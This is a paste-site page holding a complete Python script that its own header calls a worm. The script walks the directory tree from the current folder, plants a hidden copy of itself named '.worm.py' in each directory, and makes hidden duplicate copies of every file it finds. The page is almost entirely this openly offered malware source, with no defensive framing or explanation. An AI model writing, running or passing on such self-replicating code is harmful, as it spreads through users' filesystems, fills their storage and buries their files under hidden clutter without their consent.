Advertisement
FlyFar

A worm that can replicate itself and all other files

Jul 27th, 2023
1,095
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 2.76 KB | Cybersecurity | 0 0
  1. #!/usr/bin/env python
  2. # -*-coding:utf-8 -*-
  3. '''
  4. @File    :   worm.py
  5. @Time    :   2021/06/02 18:22:30
  6. @Author  :   Shanto Roy
  7. @Version :   1.0
  8. @Contact :   sroy10@uh.edu
  9. @Desc    :   The script is a worm that can replicate itself and all other files
  10. '''
  11.  
  12.  
  13. import os
  14. import shutil
  15.  
  16.  
  17. class Worm:
  18.    
  19.     def __init__(self, path=None, target_dir_list=None, iteration=None):
  20.         if isinstance(path, type(None)):
  21.             self.path = "/"
  22.         else:
  23.             self.path = path
  24.            
  25.         if isinstance(target_dir_list, type(None)):
  26.             self.target_dir_list = []
  27.         else:
  28.             self.target_dir_list = target_dir_list
  29.            
  30.         if isinstance(target_dir_list, type(None)):
  31.             self.iteration = 2
  32.         else:
  33.             self.iteration = iteration
  34.        
  35.         # get own absolute path
  36.         self.own_path = os.path.realpath(__file__)
  37.        
  38.        
  39.     def list_directories(self,path):
  40.         self.target_dir_list.append(path)
  41.         files_in_current_directory = os.listdir(path)
  42.        
  43.         for file in files_in_current_directory:
  44.             # avoid hidden files/directories (start with dot (.))
  45.             if not file.startswith('.'):
  46.                 # get the full path
  47.                 absolute_path = os.path.join(path, file)
  48.                 print(absolute_path)
  49.  
  50.                 if os.path.isdir(absolute_path):
  51.                     self.list_directories(absolute_path)
  52.                 else:
  53.                     pass
  54.    
  55.    
  56.     def create_new_worm(self):
  57.         for directory in self.target_dir_list:
  58.             destination = os.path.join(directory, ".worm.py")
  59.             # copy the script in the new directory with similar name
  60.             shutil.copyfile(self.own_path, destination)
  61.            
  62.    
  63.     def copy_existing_files(self):
  64.         for directory in self.target_dir_list:
  65.             file_list_in_dir = os.listdir(directory)
  66.             for file in file_list_in_dir:
  67.                 abs_path = os.path.join(directory, file)
  68.                 if not abs_path.startswith('.') and not os.path.isdir(abs_path):
  69.                     source = abs_path
  70.                     for i in range(self.iteration):
  71.                         destination = os.path.join(directory,("."+file+str(i)))
  72.                         shutil.copyfile(source, destination)
  73.                        
  74.                        
  75.     def start_worm_actions(self):
  76.         self.list_directories(self.path)
  77.         print(self.target_dir_list)
  78.         self.create_new_worm()
  79.         self.copy_existing_files()
  80.        
  81.        
  82.                        
  83. if __name__=="__main__":
  84.     current_directory = os.path.abspath("")
  85.     worm = Worm(path=current_directory)
  86.     worm.start_worm_actions()
Tags: worm replicate
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement